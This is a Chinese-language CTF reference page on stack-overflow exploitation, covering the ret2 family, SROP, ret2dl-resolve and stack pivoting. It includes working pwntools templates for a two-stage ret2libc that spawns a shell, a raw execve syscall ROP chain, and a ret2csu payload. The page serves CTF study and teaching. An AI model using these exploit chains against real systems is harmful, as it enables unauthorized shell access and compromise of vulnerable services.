栈漏洞利用¶
PWN · 知识域。栈溢出到控制流的全部 ret2 族技术。标签:Ret2text、Ret2shellcode、Ret2syscall、Ret2libc、Ret2csu、Ret2VDSO。
触发特征¶
- 栈溢出 + NX(或无 NX);返回地址可控。
- 依次判断:有无现成后门函数 → 能否注入 shellcode → 需要 ROP 吗。
Ret2text¶
- 二进制自带
win()/backdoor()/cat_flag:直接覆盖返回地址;带参数时补 rdi(找pop rdi; ret)。 - 魔法值校验型(参数比对 win):构造参数后跳。
- 双 win 调用模式:连续调用两个函数拼凑条件(VuwCTF 2025)。
Ret2shellcode¶
- NX 关闭:shellcode 放栈/bss 可写段;
asm(shellcraft.sh())。 - 短空间:15 字节 execve 精简 shellcode(TUM CTF 2016);寄存器已初始化的最小 shellcode(Square CTF 2017);syscall 后 RIP→RCX 的唯一字节 shellcode(HITCON 2017)。
- 字符约束:字母数字 shellcode(alphanumeric,
push r12; pop rax引导,nullcon HackIM 2019);坏字符 XOR 编码ROP(→ 下文);UTF-8 约束下的 SROP(DiceCTF 2026)。 - 输入被反转/过滤:写"反的 shellcode"或分段注入。
- mprotect + read 组合打 RWX(无 NX 时不需要)。
Ret2syscall¶
- 无 libc、静态二进制:找
pop rax; pop rdi; pop rsi; pop rdx; syscall链直接 execve。 - ROPgadget / ropper;缺失 gadget 时:ret2csu、BEXTR/XLAT/STOSB/PEXT 冷门 gadget(Crypto-Cat 套路)。
- rdx 控制难点:用
pop rdx稀缺时的替代链(csu、printf gadget)。 - 坏字符:XOR 编码 ROP 链(内存中自解码,Crypto-Cat);sprintf gadget 链边写边拼(PlaidCTF 2013)。
Ret2libc¶
- 两段式:第一阶段泄露 GOT(libc 函数地址)→ 算基址 → 第二阶段
system("/bin/sh")。 - 单次机会:泄露 + 覆盖同一次 printf(picoCTF 2017);返回 main 再来一轮。
- 静态二进制内嵌
/bin/sh:直接 ret2libc 静态(TAMUctf 2019)。 - one_gadget 约束(rsp+0x40==NULL 等)不满足时补链。
- DynELF 无 libc 泄露自动搜索(RC3 CTF 2016)。
- Canary 存在:fork 服务逐字节爆 canary;canary 末位 null 覆写泄露(CSAW 2017);canary XOR 尾字节当 rdx 清零 gadget(VolgaCTF 2017);scanf 格式错误跳过保留 canary(nullcon HackIM 2019)。
- PIE:格式串/User-Agent 一次泄露(CSAW 2018 HTTP UA 泄露 PIE+canary);glibc 一致 mmap 基址赌 PIE(TAMUctf 2019);vsyscall 段地址固定 → ROP 借用(Hack.lu 2015);ret2vdso(HTB:AT_SYSINFO_EHDR 找 vDSO 基址,gadget 后 execve)。
- 栈迁移(Stack Pivoting):gadget 不够时
xchg rax,esp/leave;ret 迁到 bss;双重 leave;ret 迁 BSS(Midnightflag 2026);不完美 gadget + 垃圾算术补偿(RITSEC 2018)。
Ret2csu¶
__libc_csu_init尾部 gadget 控制 rdx/rsi/edi 三个参数寄存器(glibc<2.34)。- 老题必备;新版 glibc 转向
__libc_start_call_main残留 gadget 或 setcontext。
高级变体¶
- SROP:sigreturn 一次性设置全部寄存器;需 "/bin/sh" 地址与 syscall;RTSigreturn 栈迁移。
- ret2dl_resolve / ret2dl-resolve:部分 RELRO 无 libc 泄露时伪造重定位表(Codegate 2018 VERSYM 绕过)。
- RETF 架构切换 x64→x32 绕 seccomp(Midnightflag 2026);x32 ABI syscall 号别名(BCTF 2017)。
- prime-only ROP:只允许素数字节时 Goldbach 分解构造(PlaidCTF 2018)。
- .fini_array 双入口分段 ROP(静态二进制,Insomnihack 2019);
.fini_array循环多阶段(Codegate 2016)。 - JIT-ROP:泄露 libc 函数后扫描 syscall 字节(Codegate 2018)。
工具速查¶
from pwn import *
p = process('./pwn'); e = ELF('./pwn'); l = ELF('./libc.so.6')
rop = ROP(e); rop.call('puts', [e.got['puts']]); rop.call(e.symbols['main'])
p.sendline(flat({72: rop.chain()}))
# pwntools 模板;corefile 自动找 offset(Crypto-Cat)
转向¶
例题¶
两段式 ret2libc 标准模板¶
from pwn import *
elf, libc = ELF('./binary'), ELF('./libc.so.6')
rop = ROP(elf)
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
ret = rop.find_gadget(['ret'])[0]
# 第一段:泄露 puts@got 后回到 main 再来一轮
payload = flat(b'A' * offset, pop_rdi, elf.got['puts'], elf.plt['puts'], elf.symbols['main'])
p.sendline(payload)
leak = u64(p.recvline().strip().ljust(8, b'\x00'))
libc.address = leak - libc.symbols['puts']
# 第二段:system("/bin/sh")
payload = flat(b'A' * offset, ret, pop_rdi,
next(libc.search(b'/bin/sh\x00')), libc.sym['system'])
p.sendline(payload)
要点:第二段开头的裸 ret 做 16 字节栈对齐(Ubuntu/glibc 的 movaps 崩溃玄学);泄露后回 main 而非 vuln 本身,栈帧更干净。
system/execve 打不通时:裸 syscall 链¶
CET/IBT 或栈状态导致函数入口崩溃时,改用 libc 内 syscall gadget:
libc_rop = ROP(libc)
pop_rax = libc_rop.find_gadget(['pop rax', 'ret'])[0]
pop_rdi = libc_rop.find_gadget(['pop rdi', 'ret'])[0]
pop_rsi = libc_rop.find_gadget(['pop rsi', 'ret'])[0]
pop_rdx_rbx = libc_rop.find_gadget(['pop rdx', 'pop rbx', 'ret'])[0] # 新版 glibc 常见形态
syscall_ret = libc_rop.find_gadget(['syscall', 'ret'])[0]
# execve("/bin/sh", NULL, NULL) = syscall 59
payload = flat(b'A'*offset,
pop_rax, 59, pop_rdi, next(libc.search(b'/bin/sh\x00')),
pop_rsi, 0, pop_rdx_rbx, 0, 0, syscall_ret)
ret2csu 控制 rdx(glibc < 2.34)¶
无 pop rdx gadget 时的标准解法——__libc_csu_init 两段 gadget:
; gadget1(pop 链,函数尾部)
pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret
; gadget2(call + 传参)
mov rdx, r15; mov rsi, r14; mov edi, r13d; call [r12+rbx*8]
add rbx,1; cmp rbp, rbx; jne loop ; 结束后落入 gadget1
payload = flat(b'A'*offset,
csu_pop,
0, # rbx
1, # rbp(循环计数,需 = rbx+1 才退出)
elf.got['puts'], # r12 → 被调函数指针(GOT 表项)
arg1, arg2, arg3, # r13→edi(仅32位) r14→rsi r15→rdx
csu_call,
0, 0, 0, 0, 0, 0, 0, # gadget1 的 7 个弹栈垫片
next_call_target)
限制:edi 只取 r13 低 32 位;glibc ≥ 2.34 无此符号 → 改用 setcontext 系(→ 其他类型PWN)。